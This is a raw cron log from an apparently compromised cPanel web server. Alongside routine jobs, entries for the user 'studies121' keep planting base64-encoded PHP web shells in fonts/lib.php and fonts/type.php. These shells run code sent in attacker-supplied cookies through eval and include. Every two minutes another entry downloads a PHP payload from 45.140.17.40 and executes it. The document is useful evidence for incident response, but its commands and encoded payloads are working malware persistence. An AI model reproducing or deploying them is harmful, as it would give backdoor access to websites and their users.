Aug 31 22:57:01 ip-184-168-122-23 CROND[8581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:57:01 ip-184-168-122-23 CROND[8579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:57:01 ip-184-168-122-23 CROND[8578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:58:01 ip-184-168-122-23 CROND[8653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:58:01 ip-184-168-122-23 CROND[8655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:58:01 ip-184-168-122-23 CROND[8658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:58:01 ip-184-168-122-23 CROND[8657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:58:01 ip-184-168-122-23 CROND[8656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:59:01 ip-184-168-122-23 CROND[8744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:59:01 ip-184-168-122-23 CROND[8747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:59:01 ip-184-168-122-23 CROND[8746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:59:01 ip-184-168-122-23 CROND[8748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:00:01 ip-184-168-122-23 CROND[8924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:00:01 ip-184-168-122-23 CROND[8925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:00:01 ip-184-168-122-23 CROND[8928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:00:01 ip-184-168-122-23 CROND[8927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:00:01 ip-184-168-122-23 CROND[8926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:00:01 ip-184-168-122-23 CROND[8930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:00:01 ip-184-168-122-23 CROND[8929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:00:01 ip-184-168-122-23 CROND[8932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:01:01 ip-184-168-122-23 CROND[9079]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9079]: starting 0anacron
Aug 31 23:01:01 ip-184-168-122-23 CROND[9086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:01:01 ip-184-168-122-23 CROND[9090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:01:01 ip-184-168-122-23 CROND[9088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:01:01 ip-184-168-122-23 CROND[9087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:01:01 ip-184-168-122-23 CROND[9089]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9099]: finished 0anacron
Aug 31 23:02:01 ip-184-168-122-23 CROND[9179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:02:01 ip-184-168-122-23 CROND[9181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:02:01 ip-184-168-122-23 CROND[9183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:02:01 ip-184-168-122-23 CROND[9184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:02:01 ip-184-168-122-23 CROND[9182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:03:01 ip-184-168-122-23 CROND[9276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:03:01 ip-184-168-122-23 CROND[9278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:03:01 ip-184-168-122-23 CROND[9279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:03:01 ip-184-168-122-23 CROND[9280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:04:01 ip-184-168-122-23 CROND[9358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:04:01 ip-184-168-122-23 CROND[9362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:04:01 ip-184-168-122-23 CROND[9363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:04:01 ip-184-168-122-23 CROND[9360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:04:01 ip-184-168-122-23 CROND[9359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:05:01 ip-184-168-122-23 CROND[9458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:05:01 ip-184-168-122-23 CROND[9459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:05:01 ip-184-168-122-23 CROND[9460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:05:01 ip-184-168-122-23 CROND[9462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:05:01 ip-184-168-122-23 CROND[9463]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 23:05:01 ip-184-168-122-23 CROND[9465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:05:01 ip-184-168-122-23 CROND[9468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:06:02 ip-184-168-122-23 CROND[9646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:06:02 ip-184-168-122-23 CROND[9647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:06:02 ip-184-168-122-23 CROND[9650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:06:02 ip-184-168-122-23 CROND[9653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:06:02 ip-184-168-122-23 CROND[9651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:07:01 ip-184-168-122-23 CROND[9732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:07:01 ip-184-168-122-23 CROND[9734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:07:01 ip-184-168-122-23 CROND[9737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:07:01 ip-184-168-122-23 CROND[9738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:08:01 ip-184-168-122-23 CROND[9814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:08:01 ip-184-168-122-23 CROND[9815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:08:01 ip-184-168-122-23 CROND[9818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:08:01 ip-184-168-122-23 CROND[9820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:08:01 ip-184-168-122-23 CROND[9819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:09:01 ip-184-168-122-23 CROND[9898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:09:01 ip-184-168-122-23 CROND[9900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:09:01 ip-184-168-122-23 CROND[9902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:09:01 ip-184-168-122-23 CROND[9903]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
